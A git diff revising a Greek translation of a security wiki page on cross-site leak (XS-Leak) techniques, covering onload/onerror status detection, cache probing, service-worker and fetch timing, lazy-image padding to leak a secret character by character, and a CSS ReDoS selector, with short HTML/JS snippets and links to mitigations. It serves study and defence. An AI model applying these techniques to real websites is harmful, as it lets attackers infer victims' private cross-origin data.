- **Detectable Difference**: Χρόνος
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Summary:** Είναι δυνατόν να προσπαθήσετε να φορτώσετε έναν πόρο και πριν φορτωθεί να διακοπεί η φόρτωση. Ανάλογα με το αν προκληθεί σφάλμα, ο πόρος είχε ή δεν είχε αποθηκευτεί στην cache.
|
||||
- **Summary:** Είναι δυνατόν να προσπαθήσετε να φορτώσετε έναν πόρο και να ακυρώσετε πριν φορτωθεί. Ανάλογα με το αν προκληθεί σφάλμα, ο πόρος είχε ή δεν είχε αποθηκευτεί στην cache.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
|
||||
Χρησιμοποιήστε _**fetch**_ και _**setTimeout**_ με έναν **AbortController** για να ανιχνεύσετε αν ο **πόρος είναι αποθηκευμένος στην cache** και για να απομακρύνετε έναν συγκεκριμένο πόρο από την cache του περιηγητή. Επιπλέον, η διαδικασία συμβαίνει χωρίς την αποθήκευση νέου περιεχομένου.
|
||||
@ -786,7 +799,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Inclusion Methods**: HTML Elements (script)
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** Είναι δυνατόν να **επικαλύψετε τις ενσωματωμένες συναρτήσεις** και να διαβάσετε τα επιχειρήματά τους, ακόμη και από **διασυνοριακά σενάρια** (τα οποία δεν μπορούν να διαβαστούν άμεσα), αυτό μπορεί να **διαρρεύσει πολύτιμες πληροφορίες**.
|
||||
- **Summary:** Είναι δυνατόν να **επικαλύψετε τις ενσωματωμένες συναρτήσεις** και να διαβάσετε τα επιχειρήματά τους, ακόμη και από **cross-origin script** (το οποίο δεν μπορεί να διαβαστεί άμεσα), αυτό μπορεί να **διαρρεύσει πολύτιμες πληροφορίες**.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -797,17 +810,17 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** Μετρήστε τον χρόνο εκτέλεσης ενός ιστότοπου χρησιμοποιώντας service workers.
|
||||
- **Code Example**:
|
||||
|
||||
Στο δεδομένο σενάριο, ο επιτιθέμενος αναλαμβάνει την πρωτοβουλία να καταχωρήσει έναν **service worker** σε μία από τις τοποθεσίες τους, συγκεκριμένα "attacker.com". Στη συνέχεια, ο επιτιθέμενος ανοίγει ένα νέο παράθυρο στην στοχευμένη ιστοσελίδα από το κύριο έγγραφο και δίνει εντολή στον **service worker** να ξεκινήσει ένα χρονοδιακόπτη. Καθώς το νέο παράθυρο αρχίζει να φορτώνει, ο επιτιθέμενος πλοηγεί την αναφορά που αποκτήθηκε στο προηγούμενο βήμα σε μια σελίδα που διαχειρίζεται ο **service worker**.
|
||||
Στο δεδομένο σενάριο, ο επιτιθέμενος αναλαμβάνει την πρωτοβουλία να καταχωρήσει έναν **service worker** σε μία από τις τοποθεσίες τους, συγκεκριμένα "attacker.com". Στη συνέχεια, ο επιτιθέμενος ανοίγει ένα νέο παράθυρο στον ιστότοπο-στόχο από το κύριο έγγραφο και δίνει εντολή στον **service worker** να ξεκινήσει ένα χρονοδιακόπτη. Καθώς το νέο παράθυρο αρχίζει να φορτώνει, ο επιτιθέμενος πλοηγεί την αναφορά που αποκτήθηκε στο προηγούμενο βήμα σε μια σελίδα που διαχειρίζεται ο **service worker**.
|
||||
|
||||
Κατά την άφιξη του αιτήματος που ξεκίνησε στο προηγούμενο βήμα, ο **service worker** απαντά με έναν **204 (No Content)** κωδικό κατάστασης, τερματίζοντας αποτελεσματικά τη διαδικασία πλοήγησης. Σε αυτό το σημείο, ο **service worker** καταγράφει μια μέτρηση από τον χρονοδιακόπτη που ξεκίνησε νωρίτερα στο βήμα δύο. Αυτή η μέτρηση επηρεάζεται από τη διάρκεια του JavaScript που προκαλεί καθυστερήσεις στη διαδικασία πλοήγησης.
|
||||
|
||||
> [!WARNING]
|
||||
> Σε μια εκτέλεση χρονομέτρησης είναι δυνατόν να **εξαλείψετε** **παράγοντες δικτύου** για να αποκτήσετε **πιο ακριβείς μετρήσεις**. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν την φορτώσετε.
|
||||
> Σε μια εκτέλεση χρονομέτρησης είναι δυνατόν να **εξαλείψετε** **παράγοντες δικτύου** για να αποκτήσετε **πιο ακριβείς μετρήσεις**. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν τη φορτώσετε.
|
||||
|
||||
### Fetch Timing
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Χρόνος (γενικά λόγω Περιεχομένου Σελίδας, Κωδικού Κατάστασης)
|
||||
- **Detectable Difference**: Timing (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Summary:** Χρησιμοποιήστε [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) για να μετρήσετε τον χρόνο που απαιτείται για να εκτελέσετε ένα αίτημα. Άλλοι χρονομετρητές θα μπορούσαν να χρησιμοποιηθούν.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
@ -815,14 +828,14 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
### Cross-Window Timing
|
||||
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Χρόνος (γενικά λόγω Περιεχομένου Σελίδας, Κωδικού Κατάστασης)
|
||||
- **Detectable Difference**: Timing (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Summary:** Χρησιμοποιήστε [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) για να μετρήσετε τον χρόνο που απαιτείται για να εκτελέσετε ένα αίτημα χρησιμοποιώντας `window.open`. Άλλοι χρονομετρητές θα μπορούσαν να χρησιμοποιηθούν.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
## With HTML or Re Injection
|
||||
|
||||
Εδώ μπορείτε να βρείτε τεχνικές για την εξαγωγή πληροφοριών από ένα διασυνοριακό HTML **εισάγοντας περιεχόμενο HTML**. Αυτές οι τεχνικές είναι ενδιαφέρουσες σε περιπτώσεις όπου για οποιονδήποτε λόγο μπορείτε να **εισάγετε HTML αλλά δεν μπορείτε να εισάγετε κώδικα JS**.
|
||||
Εδώ μπορείτε να βρείτε τεχνικές για την εξαγωγή πληροφοριών από ένα cross-origin HTML **εισάγοντας περιεχόμενο HTML**. Αυτές οι τεχνικές είναι ενδιαφέρουσες σε περιπτώσεις όπου για οποιονδήποτε λόγο μπορείτε να **εισάγετε HTML αλλά δεν μπορείτε να εισάγετε κώδικα JS**.
|
||||
|
||||
### Dangling Markup
|
||||
|
||||
@ -832,15 +845,15 @@ dangling-markup-html-scriptless-injection/
|
||||
|
||||
### Image Lazy Loading
|
||||
|
||||
Αν χρειάζεστε να **εξάγετε περιεχόμενο** και μπορείτε να **προσθέσετε HTML πριν από το μυστικό**, θα πρέπει να ελέγξετε τις **κοινές τεχνικές κρεμασμένου markup**.\
|
||||
Ωστόσο, αν για οποιονδήποτε λόγο **ΠΡΕΠΕΙ** να το κάνετε **χαρακτήρα προς χαρακτήρα** (ίσως η επικοινωνία είναι μέσω μιας επιτυχίας cache) μπορείτε να χρησιμοποιήσετε αυτό το κόλπο.
|
||||
Αν χρειάζεστε να **εξάγετε περιεχόμενο** και μπορείτε να **προσθέσετε HTML πριν από το μυστικό**, θα πρέπει να ελέγξετε τις **κοινές τεχνικές dangling markup**.\
|
||||
Ωστόσο, αν για οποιονδήποτε λόγο **ΠΡΕΠΕΙ** να το κάνετε **χαρακτήρα προς χαρακτήρα** (ίσως η επικοινωνία είναι μέσω ενός cache hit) μπορείτε να χρησιμοποιήσετε αυτό το κόλπο.
|
||||
|
||||
**Εικόνες** στο HTML έχουν μια ιδιότητα "**loading**" της οποίας η τιμή μπορεί να είναι "**lazy**". Σε αυτή την περίπτωση, η εικόνα θα φορτωθεί όταν την δει κανείς και όχι ενώ η σελίδα φορτώνει:
|
||||
**Εικόνες** στο HTML έχουν μια "**loading**" ιδιότητα της οποίας η τιμή μπορεί να είναι "**lazy**". Σε αυτή την περίπτωση, η εικόνα θα φορτωθεί όταν την δει κάποιος και όχι ενώ η σελίδα φορτώνει:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Ωστόσο, αυτό που μπορείτε να κάνετε είναι να **προσθέσετε πολλούς άχρηστους χαρακτήρες** (Για παράδειγμα **χιλιάδες "W"**) για να **γεμίσετε τη σελίδα πριν από το μυστικό ή να προσθέσετε κάτι όπως** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Έτσι, αν για παράδειγμα η **ένεση μας εμφανιστεί πριν από τη σημαία**, η **εικόνα** θα **φορτωθεί**, αλλά αν εμφανιστεί **μετά** τη **σημαία**, η σημαία + τα άχρηστα θα **εμποδίσουν τη φόρτωσή της** (θα χρειαστεί να πειραματιστείτε με το πόσα άχρηστα να τοποθετήσετε). Αυτό συνέβη σε [**αυτή τη γραφή**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
Λοιπόν, αυτό που μπορείτε να κάνετε είναι να **προσθέσετε πολλούς χαρακτήρες σκουπιδιών** (Για παράδειγμα **χιλιάδες "W"**) για να **γεμίσετε τη σελίδα πριν από το μυστικό ή να προσθέσετε κάτι όπως** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Έτσι, αν για παράδειγμα η **ένεση μας εμφανιστεί πριν από τη σημαία**, η **εικόνα** θα **φορτωθεί**, αλλά αν εμφανιστεί **μετά** τη **σημαία**, η σημαία + τα σκουπίδια θα **εμποδίσουν τη φόρτωσή της** (θα χρειαστεί να πειραματιστείτε με το πόσα σκουπίδια να τοποθετήσετε). Αυτό συνέβη σε [**αυτή τη γραφή**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
|
||||
Μια άλλη επιλογή θα ήταν να χρησιμοποιήσετε το **scroll-to-text-fragment** αν επιτρέπεται:
|
||||
|
||||
@ -860,7 +873,7 @@ dangling-markup-html-scriptless-injection/
|
||||
|
||||
### Χρόνος Φόρτωσης Εικόνας Lazy Based
|
||||
|
||||
Αν **δεν είναι δυνατό να φορτωθεί μια εξωτερική εικόνα** που θα μπορούσε να υποδείξει στον επιτιθέμενο ότι η εικόνα φορτώθηκε, μια άλλη επιλογή θα ήταν να προσπαθήσετε να **μαντέψετε τον χαρακτήρα πολλές φορές και να το μετρήσετε**. Αν η εικόνα φορτωθεί, όλα τα αιτήματα θα διαρκέσουν περισσότερο από ότι αν η εικόνα δεν φορτωθεί. Αυτό χρησιμοποιήθηκε στην [**λύση αυτού του writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **που συνοψίζεται εδώ:**
|
||||
Αν **δεν είναι δυνατό να φορτωθεί μια εξωτερική εικόνα** που θα μπορούσε να υποδείξει στον επιτιθέμενο ότι η εικόνα φορτώθηκε, μια άλλη επιλογή θα ήταν να προσπαθήσετε να **μαντέψετε τον χαρακτήρα πολλές φορές και να το μετρήσετε**. Αν η εικόνα φορτωθεί, όλα τα αιτήματα θα διαρκέσουν περισσότερο από ότι αν η εικόνα δεν φορτωθεί. Αυτό χρησιμοποιήθηκε στη [**λύση αυτού του writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **που συνοψίζεται εδώ:**
|
||||
|
||||
{{#ref}}
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
@ -874,7 +887,7 @@ regular-expression-denial-of-service-redos.md
|
||||
|
||||
### CSS ReDoS
|
||||
|
||||
Αν χρησιμοποιηθεί το `jQuery(location.hash)`, είναι δυνατόν να ανακαλυφθεί μέσω του χρόνου **αν υπάρχει κάποιο HTML περιεχόμενο**, αυτό συμβαίνει γιατί αν ο επιλεγέας `main[id='site-main']` δεν ταιριάζει, δεν χρειάζεται να ελέγξει τους υπόλοιπους **επιλεγείς**:
|
||||
Αν χρησιμοποιηθεί το `jQuery(location.hash)`, είναι δυνατόν να διαπιστωθεί μέσω του χρόνου **αν υπάρχει κάποιο HTML περιεχόμενο**, αυτό συμβαίνει επειδή αν ο επιλεγέας `main[id='site-main']` δεν ταιριάζει, δεν χρειάζεται να ελέγξει τους υπόλοιπους **επιλεγείς**:
|
||||
```javascript
|
||||
$(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
@ -888,7 +901,7 @@ xs-search/css-injection/
|
||||
|
||||
## Άμυνες
|
||||
|
||||
Υπάρχουν μετριασμοί που προτείνονται στο [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) καθώς και σε κάθε ενότητα του wiki [https://xsleaks.dev/](https://xsleaks.dev/). Ρίξτε μια ματιά εκεί για περισσότερες πληροφορίες σχετικά με το πώς να προστατευθείτε από αυτές τις τεχνικές.
|
||||
Υπάρχουν μετριασμοί που προτείνονται στο [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) καθώς και σε κάθε ενότητα του wiki [https://xsleaks.dev/](https://xsleaks.dev/). Ρίξτε μια ματιά εκεί για περισσότερες πληροφορίες σχετικά με το πώς να προστατευτείτε από αυτές τις τεχνικές.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -8,21 +8,21 @@
|
||||
|
||||
Τα κύρια στοιχεία που εμπλέκονται σε αυτή την επίθεση περιλαμβάνουν:
|
||||
|
||||
- **Ευάλωτο Διαδίκτυο**: Ο στόχος ιστότοπος από τον οποίο προορίζεται να εξαχθούν πληροφορίες.
|
||||
- **Διαδίκτυο του Επιτιθέμενου**: Ο κακόβουλος ιστότοπος που δημιουργείται από τον επιτιθέμενο, τον οποίο επισκέπτεται το θύμα, φιλοξενώντας την εκμετάλλευση.
|
||||
- **Μέθοδος Συμπερίληψης**: Η τεχνική που χρησιμοποιείται για να ενσωματώσει το Ευάλωτο Διαδίκτυο στο Διαδίκτυο του Επιτιθέμενου (π.χ., window.open, iframe, fetch, HTML tag με href, κ.λπ.).
|
||||
- **Τεχνική Διαρροής**: Τεχνικές που χρησιμοποιούνται για να διακρίνουν διαφορές στην κατάσταση του Ευάλωτου Διαδικτύου με βάση τις πληροφορίες που συλλέγονται μέσω της μεθόδου συμπερίληψης.
|
||||
- **Καταστάσεις**: Οι δύο πιθανές συνθήκες του Ευάλωτου Διαδικτύου, τις οποίες ο επιτιθέμενος στοχεύει να διακρίνει.
|
||||
- **Ανιχνεύσιμες Διαφορές**: Παρατηρήσιμες παραλλαγές στις οποίες ο επιτιθέμενος βασίζεται για να συμπεράνει την κατάσταση του Ευάλωτου Διαδικτύου.
|
||||
- **Ευάλωτος Ιστός**: Ο στόχος ιστότοπος από τον οποίο προορίζεται να εξαχθούν πληροφορίες.
|
||||
- **Ιστός Επιτιθέμενου**: Ο κακόβουλος ιστότοπος που δημιουργείται από τον επιτιθέμενο, τον οποίο επισκέπτεται το θύμα, φιλοξενώντας την εκμετάλλευση.
|
||||
- **Μέθοδος Συμπερίληψης**: Η τεχνική που χρησιμοποιείται για να ενσωματώσει τον Ευάλωτο Ιστό στον Ιστό του Επιτιθέμενου (π.χ., window.open, iframe, fetch, HTML tag με href, κ.λπ.).
|
||||
- **Τεχνική Διαρροής**: Τεχνικές που χρησιμοποιούνται για να διακρίνουν τις διαφορές στην κατάσταση του Ευάλωτου Ιστού με βάση τις πληροφορίες που συλλέγονται μέσω της μεθόδου συμπερίληψης.
|
||||
- **Καταστάσεις**: Οι δύο πιθανές συνθήκες του Ευάλωτου Ιστού, τις οποίες ο επιτιθέμενος στοχεύει να διακρίνει.
|
||||
- **Ανιχνεύσιμες Διαφορές**: Παρατηρήσιμες παραλλαγές στις οποίες ο επιτιθέμενος βασίζεται για να συμπεράνει την κατάσταση του Ευάλωτου Ιστού.
|
||||
|
||||
### Detectable Differences
|
||||
|
||||
Διάφορες πτυχές μπορούν να αναλυθούν για να διαφοροποιήσουν τις καταστάσεις του Ευάλωτου Διαδικτύου:
|
||||
Διάφορες πτυχές μπορούν να αναλυθούν για να διαφοροποιήσουν τις καταστάσεις του Ευάλωτου Ιστού:
|
||||
|
||||
- **Κωδικός Κατάστασης**: Διαχωρισμός μεταξύ **διαφορετικών κωδικών κατάστασης HTTP** από διαφορετικές προελεύσεις, όπως σφάλματα διακομιστή, σφάλματα πελάτη ή σφάλματα αυθεντικοποίησης.
|
||||
- **Χρήση API**: Αναγνώριση **χρήσης Web APIs** σε σελίδες, αποκαλύπτοντας αν μια σελίδα από διαφορετική προέλευση χρησιμοποιεί μια συγκεκριμένη JavaScript Web API.
|
||||
- **Ανακατευθύνσεις**: Ανίχνευση πλοηγήσεων σε διαφορετικές σελίδες, όχι μόνο HTTP ανακατευθύνσεις αλλά και αυτές που ενεργοποιούνται από JavaScript ή HTML.
|
||||
- **Περιεχόμενο Σελίδας**: Παρατήρηση **παραλλαγών στο σώμα της απόκρισης HTTP** ή σε υπο-πόρους της σελίδας, όπως ο **αριθμός ενσωματωμένων πλαισίων** ή διαφορές μεγέθους σε εικόνες.
|
||||
- **Περιεχόμενο Σελίδας**: Παρατήρηση **παραλλαγών στο σώμα της απόκρισης HTTP** ή σε υπο-πόρους της σελίδας, όπως ο **αριθμός ενσωματωμένων πλαισίων** ή οι διαφορές μεγέθους στις εικόνες.
|
||||
- **HTTP Header**: Σημείωση της παρουσίας ή πιθανώς της τιμής ενός **συγκεκριμένου HTTP response header**, συμπεριλαμβανομένων των headers όπως X-Frame-Options, Content-Disposition και Cross-Origin-Resource-Policy.
|
||||
- **Χρόνος**: Παρατήρηση σταθερών διαφορών χρόνου μεταξύ των δύο καταστάσεων.
|
||||
|
||||
@ -30,8 +30,8 @@
|
||||
|
||||
- **HTML Elements**: Το HTML προσφέρει διάφορα στοιχεία για **συμπερίληψη πόρων από διαφορετικές προελεύσεις**, όπως στυλ, εικόνες ή σενάρια, αναγκάζοντας τον περιηγητή να ζητήσει έναν μη-HTML πόρο. Μια συλλογή πιθανών HTML στοιχείων για αυτό το σκοπό μπορεί να βρεθεί στο [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Frames**: Στοιχεία όπως **iframe**, **object** και **embed** μπορούν να ενσωματώσουν HTML πόρους απευθείας στη σελίδα του επιτιθέμενου. Εάν η σελίδα **λείπει προστασία πλαισίωσης**, η JavaScript μπορεί να έχει πρόσβαση στο αντικείμενο παραθύρου του πλαισίου μέσω της ιδιότητας contentWindow.
|
||||
- **Pop-ups**: Η μέθοδος **`window.open`** ανοίγει έναν πόρο σε μια νέα καρτέλα ή παράθυρο, παρέχοντας μια **χείρα παραθύρου** για την αλληλεπίδραση της JavaScript με μεθόδους και ιδιότητες σύμφωνα με το SOP. Οι αναδυόμενες οθόνες, που χρησιμοποιούνται συχνά σε διαδικασίες αυτόματης σύνδεσης, παρακάμπτουν τους περιορισμούς πλαισίωσης και cookie ενός πόρου στόχου. Ωστόσο, οι σύγχρονοι περιηγητές περιορίζουν τη δημιουργία αναδυόμενων παραθύρων σε ορισμένες ενέργειες χρηστών.
|
||||
- **JavaScript Requests**: Η JavaScript επιτρέπει άμεσες αιτήσεις σε πόρους στόχου χρησιμοποιώντας **XMLHttpRequests** ή το **Fetch API**. Αυτές οι μέθοδοι προσφέρουν ακριβή έλεγχο πάνω στην αίτηση, όπως η επιλογή να ακολουθήσουν HTTP ανακατευθύνσεις.
|
||||
- **Pop-ups**: Η μέθοδος **`window.open`** ανοίγει έναν πόρο σε μια νέα καρτέλα ή παράθυρο, παρέχοντας μια **χειριστή παραθύρου** για την αλληλεπίδραση της JavaScript με μεθόδους και ιδιότητες σύμφωνα με το SOP. Οι αναδυόμενες οθόνες, που χρησιμοποιούνται συχνά σε διαδικασίες αυτόματης σύνδεσης, παρακάμπτουν τους περιορισμούς πλαισίωσης και cookie ενός στόχου πόρου. Ωστόσο, οι σύγχρονοι περιηγητές περιορίζουν τη δημιουργία αναδυόμενων παραθύρων σε ορισμένες ενέργειες χρηστών.
|
||||
- **JavaScript Requests**: Η JavaScript επιτρέπει άμεσες αιτήσεις σε πόρους στόχους χρησιμοποιώντας **XMLHttpRequests** ή το **Fetch API**. Αυτές οι μέθοδοι προσφέρουν ακριβή έλεγχο πάνω στην αίτηση, όπως η επιλογή να ακολουθήσουν HTTP ανακατευθύνσεις.
|
||||
|
||||
### Leak Techniques
|
||||
|
||||
@ -49,31 +49,31 @@
|
||||
Μπορείτε να **πρόσβαση στο εργαλείο στο** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **Εξαιρούμενα XS-Leaks**: Αναγκαστήκαμε να εξαιρέσουμε XS-Leaks που βασίζονται σε **εργαζόμενους υπηρεσιών** καθώς θα παρεμβαίνουν σε άλλες διαρροές στο XSinator. Επιπλέον, επιλέξαμε να **εξαιρέσουμε XS-Leaks που βασίζονται σε κακή διαμόρφωση και σφάλματα σε μια συγκεκριμένη εφαρμογή ιστού**. Για παράδειγμα, κακές διαμορφώσεις CrossOrigin Resource Sharing (CORS), διαρροές postMessage ή Cross-Site Scripting. Επιπλέον, εξαιρέσαμε τις χρονικά βασισμένες XS-Leaks καθώς συχνά υποφέρουν από αργές, θορυβώδεις και ανακριβείς.
|
||||
> **Εξαιρούμενες XS-Leaks**: Αναγκαστήκαμε να εξαιρέσουμε XS-Leaks που βασίζονται σε **εργαζόμενους υπηρεσιών** καθώς θα παρεμβαίνουν σε άλλες διαρροές στο XSinator. Επιπλέον, επιλέξαμε να **εξαιρέσουμε XS-Leaks που βασίζονται σε κακή διαμόρφωση και σφάλματα σε μια συγκεκριμένη εφαρμογή ιστού**. Για παράδειγμα, κακές διαμορφώσεις Cross-Origin Resource Sharing (CORS), διαρροές postMessage ή Cross-Site Scripting. Επιπλέον, εξαιρέσαμε τις XS-Leaks που βασίζονται σε χρόνο, καθώς συχνά υποφέρουν από αργές, θορυβώδεις και ανακριβείς.
|
||||
|
||||
## **Timing Based techniques**
|
||||
|
||||
Ορισμένες από τις παρακάτω τεχνικές θα χρησιμοποιήσουν το χρόνο ως μέρος της διαδικασίας για να ανιχνεύσουν διαφορές στις πιθανές καταστάσεις των ιστοσελίδων. Υπάρχουν διάφοροι τρόποι μέτρησης του χρόνου σε έναν περιηγητή ιστού.
|
||||
|
||||
**Ρολόγια**: Το [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API επιτρέπει στους προγραμματιστές να αποκτούν μετρήσεις χρόνου υψηλής ανάλυσης.\
|
||||
Υπάρχει ένας σημαντικός αριθμός APIs που οι επιτιθέμενοι μπορούν να εκμεταλλευτούν για να δημιουργήσουν έμμεσες ρολόγια: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, και άλλα.\
|
||||
Υπάρχει ένας σημαντικός αριθμός APIs που οι επιτιθέμενοι μπορούν να καταχραστούν για να δημιουργήσουν έμμεσες ρολόγια: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, και άλλα.\
|
||||
Για περισσότερες πληροφορίες: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
|
||||
|
||||
## Event Handler Techniques
|
||||
|
||||
### Onload/Onerror
|
||||
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Detectable Difference**: Κωδικός Κατάστασης
|
||||
- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Summary**: αν προσπαθείτε να φορτώσετε έναν πόρο, τα γεγονότα onerror/onload ενεργοποιούνται με την επιτυχία/αποτυχία φόρτωσης του πόρου, είναι δυνατόν να καταλάβετε τον κωδικό κατάστασης.
|
||||
- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
- **Μέθοδοι Συμπερίληψης**: Frames, HTML Elements
|
||||
- **Ανιχνεύσιμη Διαφορά**: Κωδικός Κατάστασης
|
||||
- **Περισσότερες πληροφορίες**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Περίληψη**: αν προσπαθείτε να φορτώσετε έναν πόρο, τα γεγονότα onerror/onload ενεργοποιούνται με την επιτυχία/αποτυχία φόρτωσης του πόρου, είναι δυνατόν να καταλάβετε τον κωδικό κατάστασης.
|
||||
- **Παράδειγμα κώδικα**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
{{#ref}}
|
||||
cookie-bomb-+-onerror-xs-leak.md
|
||||
{{#endref}}
|
||||
|
||||
Το παράδειγμα κώδικα προσπαθεί να **φορτώσει αντικείμενα σενάριο από JS**, αλλά **άλλες ετικέτες** όπως αντικείμενα, στυλ, εικόνες, ήχοι θα μπορούσαν επίσης να χρησιμοποιηθούν. Επιπλέον, είναι επίσης δυνατό να εισαχθεί η **ετικέτα απευθείας** και να δηλωθούν τα γεγονότα `onload` και `onerror` μέσα στην ετικέτα (αντί να την εισάγουν από JS).
|
||||
Το παράδειγμα κώδικα προσπαθεί να **φορτώσει αντικείμενα scripts από JS**, αλλά **άλλες ετικέτες** όπως αντικείμενα, στυλ, εικόνες, ήχοι θα μπορούσαν επίσης να χρησιμοποιηθούν. Επιπλέον, είναι επίσης δυνατό να εισαχθεί η **ετικέτα απευθείας** και να δηλωθούν τα γεγονότα `onload` και `onerror` μέσα στην ετικέτα (αντί να την εισάγουμε από JS).
|
||||
|
||||
Υπάρχει επίσης μια έκδοση χωρίς σενάριο αυτής της επίθεσης:
|
||||
```html
|
||||
@ -88,7 +88,7 @@ cookie-bomb-+-onerror-xs-leak.md
|
||||
- **Μέθοδοι Συμπερίληψης**: HTML Στοιχεία
|
||||
- **Ανιχνεύσιμη Διαφορά**: Χρόνος (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **Περισσότερες πληροφορίες**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
||||
- **Σύνοψη:** Η [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Ωστόσο, άλλες ρολόγια θα μπορούσαν να χρησιμοποιηθούν, όπως το [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) που μπορεί να εντοπίσει εργασίες που εκτελούνται για περισσότερα από 50ms.
|
||||
- **Σύνοψη:** Η [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Ωστόσο, άλλες ρολόγια θα μπορούσαν να χρησιμοποιηθούν, όπως η [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) που μπορεί να εντοπίσει εργασίες που εκτελούνται για περισσότερα από 50ms.
|
||||
